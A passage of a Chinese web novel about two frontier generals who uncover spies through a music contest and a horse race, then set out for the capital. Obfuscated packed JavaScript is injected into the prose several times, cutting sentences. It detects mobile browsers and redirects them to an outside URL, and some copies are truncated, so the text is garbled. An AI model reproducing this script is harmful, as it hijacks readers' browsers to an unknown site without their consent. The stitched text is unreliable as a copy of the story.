从玉绕过他径直往前走。 “从玉姑娘，上次，”高武安稍稍停顿，语气带着歉意，“多有冒犯。” 从玉眸中燃起怒色，提起手里的刀鞘顶住他的下颚。高武安愕然，却并未躲闪，立在原处，垂眸看着她。 从玉做事周到，且记忆极好，寻常物件只要在她眼前过一遍，便能久久不忘。 高武安“受命”将桃花粉送到后，她便仔细归置过，所以拿错桃花粉这种小错，她绝不可能犯。 显然，是有人掉了包。 即便两盒的瓶身再像，也总会有细微差别。 花眠船虽没见到萧文怀派人回的礼，却也从从玉异样的神色中察觉到了不对。 先前故意的拉扯、推脱，全是假象，是做给外人看的。薛华音寄桃花粉时，不止给花眠船，每次也会给从玉一份。 从玉虽重规矩，可她们俩从不会因为这种小事计较合不合规。 而恰好那时，花眠船的营帐周围有人监视，两人索性将计就计。 调换桃花粉的人，正是高武安。 至于那些监视的人…… 暗处已没了身影。 从玉顿住，收回刀鞘，垂首作揖。 “高副将，方才多有得罪。” “从玉姑娘言重了。” “既无事，在下便告辞了。” 从玉道。 高武安颔首：“从玉姑娘慢走。” —— 翌日，月朗星稀。 萧文怀在营帐内一日未出，花眠船提着酒走到他营帐外喊他。 “萧将军，今晚月色很美，要不要一起赏月？” “还愣着干什么？快去通报你们将军一声。” 她眉眼含笑，对着营帐外两个守帐的士兵道。 “花将军，夜深了，我们将军恐……不便受邀。” 其中一个士兵面带愧色，为难地说。将军心烦时，最受不了人打扰，连高副将都不敢贸然行动，他们两个没见过几次将军面的小兵，哪有那个胆子。 帐内人迟迟没有反应。 “萧将军，你若是不出来，我可要硬闯了。” 花眠船笑着说。 倏地，营帐帘子被掀开。 萧文怀一身月白色衣袍，发髻高束，头戴玉冠，玉树临风，珪璋特达，活脱脱一副京都世家公子的模样。 花眠船霎时呆住。 果然，萧将军的爱美之心，昭然若揭。 萧文怀瞥了花眠船一眼，开口道：“花将军还不动身？” “哦，哦，走吧。” 花眠船这才回过神，手里的酒坛险些落地。 —— 花眠船在营帐附近找了块荒地坐下，萧文怀蹙眉，迟迟不肯落座。 花眠船笑了笑，带着几分撒娇似的扯了扯他的衣袖。 萧文怀终是妥协。 “萧将军，难得出来一趟，不饮些酒，岂不是浪费这春光？” “嗯。” 萧文怀接过一个酒壶，饮了一口。 “花将军，不负春光。” 借着月光，花眠船见他面上染上酡红，似乎是醉了？他的声音轻柔得似空谷幽兰。 彼时，明月高悬。 在花眠船心里，南境大漠的月亮皎洁无暇，仿佛是大漠里希望的使者。 从前，她不懂文人笔下对月亮的情有独钟，直到一步步历经尘世，面对人间险恶，参军上了战场。在许多人的虚情假意中，月亮似乎成了这世间最坦诚的存在。 可南境的月亮与京都的月亮又不一样。 明明是同一个月亮，她却觉得南境的更圆、更明亮。在她心里，京城的月亮似乎总是缥缈虚无，带着一种朦胧感，远不如大漠的让她觉得亲切。 “萧文怀。” 她不再客套地喊他萧将军，想如朋友般交谈。 “算了……” 话到嘴边，又生生咽了回去。 既然说不负春光，还是好好欣赏这月亮吧。 萧文怀不善言辞，平日里性子也寡言少语，可此时与她相邻而坐，却总想找些话打破这份宁静。 最后，他真诚地看着她，道：“花将军，很像这月亮。” “皎洁，澄澈。” 这话其实没什么逻辑，可花眠船听了，心头却莫名一暖。 “谢谢。” 她说。 谢谢你，萧文怀。 萧文怀面向她，花眠船却依旧望着那轮明月。她提起酒壶畅饮。 相伴无言，惟有月明千里。 —— 天气晴朗，惠风和畅。 花眠船的孤烟军中响起了乐声，羌笛、胡琴声混杂在一起。 上次战争胜利后，缴获的乐器大多上缴了，少部分留给军中将士消遣。 军中大多数人连乐器都没怎么见过，更别提演奏了。有学过些皮毛的，也有天赋异禀、一碰就能上手的，不过大多都是自己摸索，奏出来的乐曲委实是呕哑嘲哳难为听。 偏偏造成这一局面的罪魁祸首，还在一脸欣慰地望着自己手下的兵。 “我受不了！” 萧文怀营里也有位金枝玉叶的公子哥儿——堇州刺史之子蒋维舟。 其父堇州刺史蒋重明与萧文怀是故交，听闻萧文怀将路过此地，快马加鞭把蒋公子“绑”了过来，求萧将军替他管教儿子。 萧文怀本没打算答应，可蒋老一生清正廉洁，他绝不能让后世子嗣毁了他的清名。眼见蒋老要下跪，出于故友之情，萧文怀终究是同意了，带上了他。 本以为他是个养尊处优的公子哥儿，却不曾想，在支援花眠船的那场战争中，他执意要跟着去。 萧文怀绝不肯让他上战场，还派人严加看管，哪曾想这位蒋公子不知用了什么手段，愣是弄了身盔甲跟了上去。等到看管的人察觉时，蒋公子留了封信件，叫众人不必担心，自己偷偷溜上了战场。 据说，他作战勇猛，连斩数个敌军。 萧文怀喜怒不形于色，没说什么，但单是将军一个眼神，众人便能会意。 在蒋公子洋洋得意之际，众人将他绑了起来，打了二十军棍。 蒋公子起初还一脸懵逼，等被绑住、军棍落下，才觉出痛意。开始时还硬挺着不发一声，到了后期，已是鬼哭狼嚎不止。 不光萧营的将士，连孤烟军的将士也被哀嚎声吸引，凑过去不少看热闹的。 之后，他又被将军训了话：“军中不是你玩闹的地方，战场上靠的也不是匹夫之勇。若是再有下次……” 他不再说话，看向身侧的成陌。成陌会意，道：“按军规，擅自行动，仗三十，另绑在树上吊三日，以作前车之鉴。” 蒋维舟瞪大双眼看着他。本以为萧将军这副模样是个好相与的，哪曾想比他家老头子还狠！ 军棒他倒无所谓，毕竟也没少挨，可他要脸面！ 蒋公子虽说闯上了战场，但说到底还是个爱面子的人。 将军给了他几天假，他便一连在营里待到今日，无论谁叫谁喊，都不踏出自己的营帐半步。 有趣的是，竟被孤烟军演奏“乐曲”的声音给逼了出来。 众人啼笑皆非，蒋公子却自顾自地上前，丝毫不在意众人含笑的目光。趁着将士们愣神之际，夺过一位士兵手里的胡琴，娴熟地演奏起来。 琴声婉转悠扬，如黄鹂鸣唱，似山间溪流。一曲毕，余音绕梁，众人仍在回味。 再睁眼时，眼里的鄙夷渐渐消失，取而代之的是一种略带欣赏的目光。 花眠船觉得有趣，诚邀他比试一场。 蒋公子起初不屑，不想迎战，可听说对方是花将军后，恨不得跳起来连扇自己几个巴掌。 众人连连叫好，在他们看来，这不止是花将军和蒋公子之间的对决，更是孤烟军和席州营的较量。 事关荣辱，不得不战。 蒋公子接受挑战，弹的是堇州当地新兴起的堇州词，由堇州花香楼的徐娘子亲自谱曲、云游至此的谭大诗人撰词。 只可惜，蒋公子只会弹不会唱，众人少了些耳福。曲子讲的是深闺里的妻子思念远征的丈夫，曲风细腻婉约，任谁听了都得说一句绝佳，无论演奏者是谁。 可蒋公子的琴艺却不似方才那般舒展，整个人处于一种紧绷的状态，还不知不觉弹错了几个音。 众人惊觉：“哦，似是不过如此。” 大胜在即，孤烟军乐翻了天，也不顾什么面子，公然叫嚣起来。 蒋公子本面带愧色，如今被孤烟军这番操作气得眼红，想张口骂人，却支支吾吾半天说不出一句完整的话。孤烟军气势更盛，虽说无关奖赏，却也能让他们得意好长一段日子。 接下来，只要花将军拿起羌笛吹一曲，他们便稳赢了。 别的不敢说，若论花将军的羌笛，孤烟军称第二，没人敢称第一。 在众人期许的目光注视下，花眠船轻笑，而后拿起了蒋公子方才放下的那把胡琴。 完了！ 孤烟军众人暗自叫苦。虽说将军的羌笛奏得好，可论起胡琴，军中要是将军称第二，还真没人敢称第一——倒不是迫于维护将军的威严，而是事实的确如此。 孤烟军已有不少人撕下身上一小块布片堵住耳朵，看得对面席州营的将士一头雾水：这群人又要搞什么？ 花将军奏的是先前京中教坊司为孤烟军谱的军歌，由崔二小姐亲自作词，若是奏得好，绝对威震四方。只不过，这得看是谁奏、用什么乐器…… 一曲毕，席州营众人沉默不语，只一心想求死…… 孤烟军齐刷刷地鼓掌庆贺，既是为自己，也是为他们——又多活了一天。 忽然觉得，蒋公子那几个错音，好像……也不算什么。 胜负已分。 不远处的萧将军突然叫停：“慢着。” 萧文怀接过花眠船怀里的琴，找了处干净的地方坐下。 本已失意的众人再度燃起士气。 银瓶乍破水浆迸，铁骑突出刀枪鸣。在场的人无不如痴如醉。 神医！真是妙手回春啊！ 孤烟军众将士恍然，随即又生疑：不对，这不是他们的军歌吗？怎么由萧将军奏出来了？可恶，士可杀不可辱！ 萧将军神色淡淡地看了花眠船一眼。 只见她不紧不慢地拿起笛子，将曲子又奏了一遍。霎时，大漠孤烟、战鼓擂响，数万大军仿佛矗立眼前。 “萧将军，承让。” 花眠船笑道。 萧将军依旧神色淡然，对输赢毫不在意，道：“诚邀花将军，一同奏一曲。” 众人齐声叫好，花眠船欣然应允。 两人奏的依旧是《破阵子》。 琴笛相和，曲调时而润物细无声，时而一览众山小，又有气势磅礴、不破楼兰终不还的豪情。 曲毕，两人相视一笑。此时，无关输赢，友谊第一。 倒是蒋公子颇为不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887800|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 服气，不过也抵不住周围的高喊声、惊叫声此起彼伏。 —— 花眠船的营帐内。 “从玉，查到了吗？”她问。 营中混入了京中朝堂上某些人派来的奸细，总在暗处观察花眠船和萧文怀的交往。对方做事不留痕迹，多日调查也没露出马脚，故而她才设计了这出戏。 “查到了，总共两人，除了我们军中一个，席州营也有一个。”从玉道，“属下已经通知了萧将军。” “好。” 奏琴？她是故意的。自己弹得怎么样，她心里有数。若非为了查奸细，她是死活不会碰那玩意儿的。 她也知道军中将士是在“鼓励”她，大家对她的琴技早有了解，所以奏琴时众人撕布条堵耳朵，她毫不意外——毕竟大家每次都这么干，她也习惯了。 不堵耳朵，且面生的人，便是最大的怀疑对象。从玉顺着观察到的结果稍加调查，便能发现端倪。 如此一来，倒也不枉她这一遭的“牺牲”。 —— 翌日，军营外闹哄哄的，又要开始赛马。 两方军队圈了个“赛道”，开始备赛。 孤烟军虽说奏琴不行，赛马却是一顶一的厉害。广阔无际的沙漠上，策马欢跑几乎成了他们的日常。与京中不同的是，这里没有设马场，马儿陪着主人，想跑多远就跑多远，丝毫不用担心受限于空间狭小的马场。 昨日刚打了场友谊赛，可今日，孤烟军将士们丝毫不想再让步。虽说不知席州营将士的马术如何，但他们在马术上有实打实的必胜信念，个个卯足了劲，想与对方一决高下。 这次不是两位将军亲自上阵，而是由将军亲自挑选士兵出战。 有人信誓旦旦地毛遂自荐，也有人忐忑不安地躲躲藏藏，这些小伎俩自然瞒不过众人。 规则很简单：总共三场，先返回终点者胜，后返回者败。 前两场派出的选手分别是：孤烟军的老胡对阵席州营的沈知珏。 老胡是从军多年的老将，而沈知珏自幼在宫中随太子习武。虽说老胡经验丰富，但在战术上还是敌不过沈知珏——沈知珏从一开始到中途，始终假意落在老胡身后，却在后半程突然提速，从老胡的马旁侧过。老胡上前拦截，沈知珏将身子悬在马匹另一侧躲开，继续提速，率先冲过终点。 二人赛马的场面，正如“二马骋踶啮，角壮犹龙腾”。 第一局，胡对沈，沈胜。 孤烟军虽有些失落，却也没太在意。 第二局，孤烟军小将谭闻雨对阵席州营的蒋维舟。 谭闻雨是初上战场的小将，武艺和马术在新兵中都称得上第一。 至于蒋维舟……他屁股上被打的伤还没好透，上了马连坐都坐不稳，却被将军点名出列。其他将士美其名曰：“这是将军特地给你的锻炼机会。” 他本就禁不住夸，经这么一说，再一看和自己比赛的是个年纪不大的小丫头，霎时又硬气起来，抱臂站着，得意洋洋地看着她。 谭闻雨面无表情地瞥了眼这位沉迷自我的公子哥，没理他，转身翻身上马。 号声吹响，两匹马如离弦之箭般飞出，蹄下生风。 二马并驱时，八只马蹄几乎交替落地，马颈与马尾彼此对齐，争先恐后，难分难解。 行至后半程，谭闻雨的马突然提速，一骑绝尘，将蒋维舟远远甩在身后。 第二局，谭对蒋，谭胜。 最后一局，花眠船随手指了指凑在人群后的一个畏畏缩缩的身影。 众人顺着她的指尖望去，只见那人头压得低低的，双手缩在袖子里，看着虎头虎脑的。 “就你了，去吧。”花眠船浅笑。 “将军，小的……属下骑马技术拙劣，恐让诸位见笑……”那人迟疑道。 “无妨，本就是为了给大家解闷、凑个热闹，本将军不在乎输赢。” “可……”那人仍在犹豫。 花眠船沉下脸，那人不好再多说，只好颤着身子走上前。 “对了——”花眠船叫住他。 那人本以为事情有转机，闻声猛地回头，眼里带着期许。 “你叫什么？” “小的李胆。” “嗯，去吧。”花眠船道。 “……”该来的，终究躲不过！ 李胆身材五短，军营里寻常的马匹他自是跨不上去，只得选了一匹军队中用于特殊运输的蜀马。这匹蜀马虽矮小，却极其灵活，稍不留意就容易从马背上坠下来。 萧文怀军中派出的人，神色复杂地看了李胆一眼，也翻身上马。 前半程，两人你追我赶，谁也不肯让谁，倒有几分看头。可后半程时，李胆选的蜀马突然不受控制，带着他四处狂奔，一不小心撞上了另一匹参赛的马。那匹马受惊后，也带着背上的人疯狂逃窜。 “咚”的一声，李胆从马上摔了下来。因马身不高，周围又是荒原黄沙，他伤得不重；但另一人就没那么幸运了，脸朝地摔下去不说，还被狂奔的马踩了一脚后背。 “嘶——”看着就让人觉得疼。 今天的赛事最终难分伯仲，众人看得不尽兴，便不欢而散了。 —— “将军，您找我？”谭闻雨走进营帐，行军礼问道。 “坐。”花眠船指了指对面的座椅。 谭闻雨和花眠船一样，是军中少有的女子，却并非官家小姐，而是花眠船上战场时遇到的遗孤。谭闻雨家除了年幼的她，举家都被敌人所害，她一心想复仇。 战后，在满目疮痍的废墟上，她对着花眠船磕了三个响头，求花眠船收下她。她的模样很像当年的花眠船，可花眠船实在不忍——她还太小，比当年的自己还小。谭闻雨遇见花眠船之前从未习武，没有童子功，这个年纪才开始习武，不仅局限性很大，还要吃常人难以想象的苦。花眠船不想让她像当年的自己一样，背负太多沉重的东西。 花眠船答应会亲手刃敌，替她复仇，却不肯收她。 见花眠船不答应，她便请求留在军中帮忙做饭，偷偷观摩士兵们练兵，照葫芦画瓢地模仿，一连数日都是如此。 小姑娘急于证明自己，心里的想法藏不住，这一点虽不好，可她眼里的那股劲儿，又让一切显得有迹可循。 最终，花眠船还是收下了她，却只许她跟着练兵，不许上战场。 她很有天赋，也足够努力，进步神速。 前些日子的那场战役是个关键转折点，花眠船终于同意了她两年多来请求上战场的申请。 这把被藏匿的剑，终于窥见天光，得以施展锋芒。 她在战场上作战骁勇，锐不可当，一战下来表现可圈可点，军中也有了让她正式加入军队的呼声。 花眠船今日找她，一来是想和她商讨这件事，二来也是要派给她一个任务，考验考验她。 5. 回京 如今，李胆与另一监视他们的人，短时间内难以行动，想必已飞鸽传书，请上头另派新人了。 李福端派来的人，能力真是一批比一批差，难道她就那么不值得他派个功夫深厚的吗？ 要不是花眠船手里还有军权，真要以为对方是对她放松警惕、消极怠工了。 他们要抓奸细，绝不能打草惊蛇，必须引蛇出洞！ “小谭，你看住李胆以及与他赛马的那个席州营士兵，这两人若是私下见面或托人传递消息，第一时间向我汇报。” 花眠船义正辞严道。 “是。” 谭闻雨应声回道。 “将军。”谭闻雨本欲离开，却又突然回身，面向花眠船，斟酌再三开口：“我想同您进京。” 她目光灼灼。 此次进京接受封赏的仅小部分人：有人是为回京见见世面，有人会请几日假顺路探望家人。这段日子，驻守将士除朝廷封赏外，还能获得额外丰厚奖励作为补贴，因此不少人宁愿长期驻守大漠，多为家人攒些赏赐，也不愿离开。 谭闻雨如今大仇得报，再无牵挂，又无亲无故、孑然一身，多一份赏赐于她无关紧要，少一份也不影响生计。 与其一辈子与大漠黄沙为伴，在这座戍边小城度过余生，倒不如离开这里，出去走走——看看上京繁华，见见江南烟雨。 “今晚收拾行囊，明日子时，随军回京。” 花眠船说道。 谭闻雨眼中登时闪出光亮，快速作揖行军礼，语气里掩不住激动：“多谢将军！” —— 午夜子时，花眠船交代好军中大小事宜：上到日常练兵安排，下到对军营旁村镇的日常帮扶，事无巨细，精益求精。 她回京后，军中事务交由右将军梅褚询，她十分放心。 梅褚询原是京中七大望族梅家的三小姐，虽是闺阁女子，心中却藏着“大漠孤烟”的志向。不顾家人劝阻，在花眠船上次回京时偷偷跟了出来。尽管朝中已有女子入朝为官的先例，梅褚询本人也豪放不羁，可梅家作为京中老牌贵族，仍秉持“女子不可抛头露面、出嫁随夫、相夫教子”的封建思想。 梅褚询索性与家里断绝关系，近几年凭自身能力闯出名声、升了官职，在朝堂上渐渐崭露头角，梅家却日渐衰落。 梅家从前寄予厚望的大公子，去年死在了怡红院的花姬床上；二公子自小痴傻；小公子出生仅月余，还体弱多病，能否活到成年尚不可知。 直到这时，梅家才想起梅褚询。彼时她已封将，前途无量，家人哭求她回家看看。梅褚询起初不为所动，后来终究心软回去了一趟，却被家人逼着与各家公子相看——老的少的、康健的体弱的、世家子弟或是新贵后人，无一遗漏。她被缠得厌烦，趁着夜深人静，一人一马快马加鞭，骑了三四天逃回南境。 此后，她再没回过梅家，也不愿再回去。 去年她父亲过世，二房叔叔被贬，家中生计难以为继，母亲一日修书三封求她回去，她也没再心软，只是每月拿出一部分军饷寄回家中，算是尽了做女儿的最后一份孝心。 她们这群人整日过着刀剑舔血的日子，梅家却总用礼教约束她的行径。女子不该只生于后院、长于闺阁，听凭家人与家族安排潦草过一生，她们也该有选择自己人生的权利。 可大多时候，无论出身世家还是长于乡野，女子面临的往往是“听天由命”的结局。 长夜漫漫，凉风习习，不知不觉间，天已亮了。 —— “那两人休养得如何了？” 花眠船问道。 “伤得不轻，席州营那个一时半会儿怕是下不了床。监视的人说，他今天一大早就收拾好了行李。”梅褚询若有所思，“看样子，他似乎很看重这次回京。” “我要交代的事，想必你都清楚了。还有，别忘了……” 花眠船的话未说完，便被梅褚询打断：“别忘了按时吃饭，别总顾着练兵，身体是一切的本钱。” 花眠船一顿，朝她笑了笑：“你既都清楚，早该提醒我，省得我白费口舌。” “只怕梅某私下里会跟众人说，花将军总爱说些关心人，却人人都知道的‘废话’。” 话音落，她捻起茶杯饮了口茶。 “将军，这话您每逢吩咐事宜必说一遍，遇上急事还要叮嘱两遍。而且您不只是对末将如此，给军中其他人委派差事时，也会根据各人情况说些额外嘱托。” 她对军中常差遣的下属，总会多几句任务之外、关乎他们自身的叮嘱。 军中军纪严明，将士们心怀大志，常以“上报天子兮下救黔首，杀尽倭奴兮觅个封侯”为志向。 “罢了罢了。” 花眠船无奈地摆了摆手。 “告诉老胡，饮酒要适量，别贪多，另外盯紧那两个人。”花眠船眉梢带笑，故意逗她，“要不要我替你向汀南姑娘问声好？” 汀南姑娘是清音阁的清倌人，也是全京城最好的琵琶手——上京王公贵族设宴，必请她奏一曲。 她同时还是花眠船在京中的眼线之一，以及……某个人放在心上的人。 梅褚询的脸登时红透，连忙垂下头。花眠船见状，笑而不语。 —— “清点回京人数，我帐内那些瓶瓶罐罐……”萧文怀顿住，视线落在桌上一个陶罐上，伸手拿起细细摩挲，嘴角勾起一抹笑意，“一并带回京。” “是。” 成陌应道。 帐外，天已大亮。 —— 营帐外，清晨的阳光洒在大漠上。被选中回京的将士，正同未被选中的战友相互告别、嘱托，喊叫声与爽朗的笑声，一同飘荡在黄沙之上。 聊的多是些闲琐小事。 “小沈，回京后可别忘了你的人生大事啊！”张德顺一脸坏笑地瞅着沈墨衡，不轻不重地拍了拍他的肩。 “懂懂懂，你啊，只管备好贺礼等着就是。” 沈墨衡显得有些拘谨，双手紧紧贴在身体两侧，脸色涨得通红。 “可不是我一个人等，老胡、军中兄弟，还有前阵子认识的席州营弟兄，都等着喝你的喜酒呢。” “知道了。” “还有。”张德顺收起玩笑的神色，瞬间变得严肃，“要是方便，替我去看看我老娘。若是将军允许……”他望向远处荒原，声音低了些，“替我跟她说说话。她要是问我在军中表现如何，你只管往好里说，不用管真假——老人家听着高兴，就够了。” 张德顺这几年累计立了些小功，也攒了些钱财，可去年一场战役期间，他老娘生了病。他上战场时魂不守舍，被敌人偷袭，丢了一条胳膊。他怕老娘担心，一直不敢回家。 这次回京的机会本该轮到他，他却让给了沈墨衡。 “还有……替我和老胡尝尝香珍楼的老黄酒，要是能带回来一罐……” “好！好！要是能带，我一定做东，请你俩好好喝一顿！” 与梅褚询告别后，花眠船一早便与萧文怀碰了面，又命从玉清点回京人数与名单。此次她与萧文怀受诏，即日起启程回京。 再见了，南境。 此次回京不知会在京城停留多久，但至少这一路，他们怕是难有安稳日子。 萧文怀又戴上了那顶面具——那是他与花眠船在战场上初见时，戴的那顶可怖面具。 莫非……这面具还能防晒？ 正思索着，一道翠绿身影从重重营帐间跑过。 是他！ 花眠船没有惊动旁人，翻身下马追了上去。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887801|192087||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 可到了路的尽头，那道身影早已不见踪影。 花眠船急切地四处张望，而那人正躲在暗处，默默盯着她。 —— 返回营帐后，花眠船又命从玉暗中确认了一遍回京事宜，确认无误后，再叫来梅褚询叮嘱了一番，才带兵出发。 两支军队一同赶路，跋涉一日后，众人选好驻扎地停下。军中负责各项事务的士兵，井然有序地安排着营地事宜。 花眠船忙完后闲得发慌，本想找个人闲聊打发时间，可将士们各司其职，竟找不出一个清闲的人。 忽然，她瞥见不远处有个同样清闲的身影——萧文怀正坐在石头上摆弄他的面具。 她忽然想起，薛华音送的桃花粉不知是否有用。巧的是，今日赶路前，她刚送了某人一罐……哦不，一堆桃花粉。 不如去问问效果如何？ “萧将军，那桃花粉用着如何？” 花眠船带着几分玩笑意味开口。 没等对方回应，她又接着说：“萧将军若是多用上几次，回京后怕是不止‘貌比潘安’，到时候定是百花见了都要自愧不如，连天上的仙人听说您的名声，都要立志下凡来一睹真容呢！” 她预想中的反应没出现，反而听见萧文怀唤她：“花将军。” 下一秒，他嘴角漾开一抹笑意：“你的马，似乎累趴下了？” …… 花眠船顺着他指的方向回头，果然看见自己的马歪在一棵树旁，一副无精打采的模样。 “梨花酿！”她朝着马大喊一声。 梨花酿听到呼喊，立刻窜了起来，还邀功似的跑到她跟前。 这傻马…… “梨花酿”第一次耍这种小聪明，是花眠船还在京城时，崔清柳教她骑射那阵。 当时“梨花酿”像喝醉了似的卧在一旁，谁叫都不动。众人以为它没了气息，甚至挖好了坑，把它埋进去开始填土。直到一筐土堆到它头上，这匹傻马才猛然惊醒，从土堆里钻了出来。 第二次是花眠船刚行军不久，军中补给迟迟未到，“梨花酿”又故技重施。她气不过，命人备好刀具，眼看磨刀声越来越近，这傻马才醒过来，还一脚踹翻了提刀的将士。 第三次、第四次、第五次…… 次数多了，连兽医都查不出“病因”，众人渐渐得出结论：梨花酿就是纯粹的懒，懒到了极点。 “梨花酿？”萧文怀轻声念了一遍这个名字。 “是，它叫梨花酿。” 梨花酿是花眠船最喜欢的一种酒。当年她立完军令状得胜回京，第一时间直奔醉仙楼，提了几壶梨花酿，躺在京中崔家后院的大梨树下，一个人喝了整夜。 “梨花酿”住不惯崔家的马圈，自己跑到梨树下找她。那时它还没名字，自那夜之后，便叫“梨花酿”了。 梨花酿见除了花眠船外，还有人叫它的名字，立刻调转方向朝萧文怀奔去，还低下头蹭了蹭他的衣袖。 这色马…… “梨花酿”向来偏爱“帅哥”，军中但凡有几分姿色的将士，几乎都被它亲近过。 萧文怀没说话，眼底神色柔和了几分，拢了拢衣袖，抬手轻轻抚了抚“梨花酿”的马头。 梨花酿觉得舒服，竟四条腿一屈，卧在了萧文怀身边。 花眠船：“……” 这下真分不清，“梨花酿”和色鬼有什么区别了。 “花将军。”萧文怀忽然开口，“花将军的马，和花将军——一样有趣。” “嗯？”花眠船愣了一下，脸颊霎时热了起来。后知后觉反应过来：不对！他这不是说她跟“梨花酿”一样“色”吗？ 她没好气地瞪了他一眼，萧文怀见她反应过来，竟还冲她笑了笑。 月明千里，洒进荒原。 6. 画溪县阴谋一 “萧将军。”花眠船嘴角勾着抹笑意，语气里带着往日的无所顾忌，“我们南境可不像京城那般安稳，又或是你们北境那般——夜里行军，路旁的豺狼虎豹是常要提防的。有时候啊，你正走着，还会有成了精的猕猴冷不丁地拍你的肩膀，就像……” 话音未落，几声“嗖嗖”声响起。 她话音一滞，浑身警觉起来——林中，有人。 常年在战场摸爬滚打，她虽没有千里眼、顺风耳的神通，却也练出了远超常人的夜视与辨声能力。这几声羽箭划过的声音实在反常：此地离最近的城镇需步行一日，又紧邻泉水，本是易淹的险地，按理说不该有人迹才对。 花眠船不再靠着树干与萧文怀闲谈，悄无声息地起身，朝谭闻雨递了个眼神。谭闻雨心领神会，立刻带了几名兵士，循着箭声的源头潜了过去。 不过片刻，林中便传来“诶诶，放开！放开！”的挣扎声。 被揪出来的人不过五尺身形，头上套着黑色面套，四肢被谭闻雨带去的士兵死死按住，整个人歪倒在地上，动弹不得。花眠船接过身旁侍卫递来的长剑，寒光一闪，稳稳地横在那人颈侧。那人本还在扭动挣扎，可看清架在脖子上的剑后，瞠目结舌，身子瞬时安定下来，不再扭动。 “将、将军，是我！我是李胆啊！”面套下传来男人颤颤巍巍的声音，满是慌乱。 众人本就马不停蹄赶了一天路，好不容易歇下来喘口气，却被这么一闹搅得鸡犬不宁。蒋维舟按捺不住心头的火气，起身上前一步，揪下李胆的头套，气哼哼地问道：“大半夜的，你戴着面套在这里装神弄鬼，到底想干什么？” “我、我自小在林子里长大，瞧着大家赶路辛苦……”李胆支支吾吾地辩解，“想着既然到了这儿，就捉几只野味回来，给大伙儿犒劳犒劳……” 花眠船听完，朝谭闻雨递去一个眼神。谭闻雨会意，轻轻颔首。 “既是一片好心，那便散了吧。”花眠船收回长剑，语气平淡无波。 “是！”众人齐声应下，纷纷收了戒备。 随着人群散去，林间的虫鸣与鸟兽声渐渐清晰起来…… 翌日天蒙蒙亮，休整了一夜的队伍再度整装，预备继续赶路。 萧文怀脸上，那顶代表着他“鬼面阎罗”中“鬼面”的面具又已戴好，仿佛生怕半分真容泄露于人前。 “将军，看这天色，今日恐有大雨，我们是否先入城寻店歇息？”高武安望着天际，沉声问道。 萧文怀语调平淡无波：“去准备吧。” “是。” 此时天色愈发昏沉，东边的天幕像被寒鸦羽浸透了般，灰蒙蒙的，压得人透不过气。这般光景，今夜怕是难有安稳了。 他们暂歇的去处，是座名为画溪县的小城。城域不过四百里见方，分量却不轻——它是大雍与胡人商队往来的必经之地。几十年前皇家内乱时，曾被南述国趁虚攻占，直到八年前，才由崔清柳领兵夺回。 城中常住百姓约有万人，客寨旅店却开了数十家，热闹得很。此番随萧文怀、花眠船入京的兵士不过数百人，要在城中住下，绰绰有余。 当地县令闻讯，早已带着人在城外等候。这县令姓赵名康，刚到而立之年，本是京城出身，中举后先在京中任了个小官，从前与崔清柳多有往来，二人还时常答诗相赠。当年崔清柳失踪，他因仗义执言、替其辩解，得罪了京中权贵，后被贬到这边境小城。也正因崔清柳这层渊源，后来花眠船在南境驻守时，两人彼此多有照拂，也算旧识了。 “赵县令，别来无恙？”花眠船迎上前，脸上带着笑。 赵康亦笑着回话，语气熟稔：“托花将军的福，日子还算安稳。”他话锋一转，“听闻你们要在此短住，我一早便让人知会了各家客栈，都已备好住处。” 说罢，他目光落在一旁的萧文怀身上——那人身长七尺，虽被面具遮去大半面容，周身卓然的气质却分毫藏不住，让人无法忽视。赵康略一拱手，试探着问：“这位想必就是萧将军？” “承蒙赵大人亲迎。”萧文怀神色淡淡，语气听不出情绪。 “萧将军言重了！”赵康连忙欠身，语气诚恳，颇有恭奉之意，“下官有生之年能得见萧将军，实乃荣幸之至。” 这话刚落，花眠船忍不住对他打诨：“我们昨夜在野外风餐露宿，今儿又马不停蹄赶过来，可不是来听你说这些客套话的。赵县令，你这奉承的功夫，倒是半点没减？” 赵康被她噎了一句，无奈笑道：“你这丫头，还是这般性子！我能有什么居心？不过是尽尽宾主之谊罢了。” “行了行了，”花眠船摆了摆手，“要尽谊就省些虚话，赶紧带我们去住处，这才是正经事。” “好好好，是我考虑不周。”赵康笑着告罪，侧身引道，“花将军、萧将军，这边请。” __ “看不出来啊。” 花眠船抱臂而立，嘴角噙笑，目光落在对面人身上，多了几分欣赏：“你这小子，模仿你们将军竟当真有几分相似，若不是一开始合计好的，怕是连我都要被你这模样误导。” 沈知珏垂眸，双手交叠藏在衣袖里，依着世家礼仪微微躬身行礼，声音清冷淡漠：“花将军过奖。” 沈知珏是沈老将军之子，沈家同花眠船的母家沾亲带故，沈家又与抄家前的花家来往甚密。沈知珏小她几岁，也算是她看着长大的。十几年前沈老将军战死，沈知珏被圣上以太子伴读的身份诏入宫中，收为义子。前些年，在京中西城校练场上两人曾见过一面，那时他脸上的稚嫩还未完全褪去，如今一看，确实是“士别三日，当刮目相待”。 “怎的，日子久了不见，连句‘阿姊’都不会叫了？”花眠船笑吟吟地问道。 “阿姊。”沈知珏收礼，回道。 久未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 